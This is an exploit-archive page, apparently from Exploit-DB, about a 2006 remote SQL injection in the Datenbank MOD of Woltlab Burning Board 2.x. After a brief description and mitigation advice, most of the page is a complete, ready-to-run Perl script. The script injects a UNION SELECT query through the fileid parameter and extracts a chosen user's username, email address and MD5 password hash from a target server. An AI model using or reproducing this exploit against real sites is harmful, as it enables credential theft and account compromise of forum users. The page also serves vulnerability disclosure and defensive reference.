Woltlab Burning Board 2.x Remote SQL Injection

vendor:

Burning Board

by:

nukedx

7.5

CVSS

HIGH

Remote SQL Injection

CWE

Product Name: Burning Board

Affected Version From: Woltlab Burning Board 2.x

Affected Version To:

Patch Exists: NO

Related CWE:

CPE: a:woltlab:burning_board:2.x

Metasploit:

Other Scripts:

Platforms Tested:

Woltlab Burning Board 2.x Remote SQL Injection

This exploit allows an attacker to execute a remote SQL injection attack on Woltlab Burning Board 2.x. By providing specific parameters, the attacker can retrieve sensitive information such as usernames, email addresses, and MD5 hashes of passwords.

Mitigation:

Apply the latest security patches and updates provided by the vendor. It is recommended to upgrade to a newer version of the software if available.

Source

Exploit-DB raw data:

#!/usr/bin/perl
#Method found & Exploit scripted by nukedx
#Contacts > ICQ: 10072 MSN/Main: nukedx@nukedx.com web: www.nukedx.com
#Usage: wbb.pl <victim> <directory> <modpage> <dbnum> <userid>
#Original Advisory: http://www.nukedx.com/?viewdoc=17
use IO::Socket;
if(@ARGV < 5){
print "
+*************************************************************************+
+Woltlab Burning Board 2.x (Datenbank MOD fileid) Remote SQL Injection XPL+
+      Usage: wbb.pl <victim> <directory> <modpage> <dbnum> <userid>      +
+                Example: wbb.pl sux.com / info_db.php  1 1               +
+                  Method found & Exploit scripted by nukedx              +
+*************************************************************************+
";
exit();
}
#Local variables
$wbbserver = $ARGV[0];
$wbbserver =~ s/(http:\/\/)//eg;
$wbbhost = "http://".$wbbserver;
$port = "80";
$wbbdir = $ARGV[1];
$wbbpage  = $ARGV[2];
$wbbdbid = $ARGV[3];
$wbbid = $ARGV[4];
$wbbtar = $wbbpage."?action=file&subkatid=1&noheader=1&fileid=";
$wbbxp = "-1/**/UNION/**/SELECT/**/0,0,0,username,email,0,0,0,0,0,password,0,0,0,0,0,0,0/**/FROM/**/bb".$wbbdbid."_users/**/where/**/userid=".$wbbid;
$wbbreq = $wbbhost.$wbbdir.$wbbtar.$wbbxp;
$tag = "'s";
#Writing data to socket
print "+**********************************************************************+\n";
print "+ Trying to connect: $wbbserver\n";
$wbb = IO::Socket::INET->new(Proto => "tcp", PeerAddr => "$wbbserver", PeerPort => "$port") || die "\n+ Connection failed...\n";
print $wbb "GET $wbbreq\n";
print $wbb "Host: $wbbserver\n";
print $wbb "Accept: */*\n";
print $wbb "Connection: close\n\n";
print "+ Connected!...\n";
while($answer = <$wbb>) {
if ($answer =~ /<span class=\"smallfont\"><b>(.*?)<\/b> <\/td>/){ 
print "+ Exploit succeed! Getting USERID: $wbbid$tag login information.\n";
print "+ USERNAME: $1\n";
}
if ($answer =~ /([\d,a-f]{32})<\/td>/) { 
print "+ MD5 HASH OF PASSWORD: $1\n";
}
if ($answer =~ /<p><ul>(.*?)<\/ul><\/td>/) { 
print "+ MAIL: $1\n";
print "+ SQL Injection exploit has been succesfully finished.\n";
print "+ Woltlab runs on: $wbbhost$wbbdir\n";
print "+**********************************************************************+\n";
exit();
}
if ($answer =~ /users' doesn't exist /) { 
print "+ This version of Datenbank MOD is vulnerable too but you have speficied wrong database number!\n";
print "+**********************************************************************+\n";
exit(); 
}
if ($answer =~ /number of columns/) { 
print "+ This version of Datenbank MOD is vulnerable too but default query of SQL-inject doesnt work on it\n";
print "+ So please edit query by manually adding or removing null datas..\n";
print "+**********************************************************************+\n";
exit(); 
}
}
print "+ Exploit failed :(\n";
print "+**********************************************************************+\n";

# nukedx.com [2006-03-01]

# milw0rm.com [2006-03-01]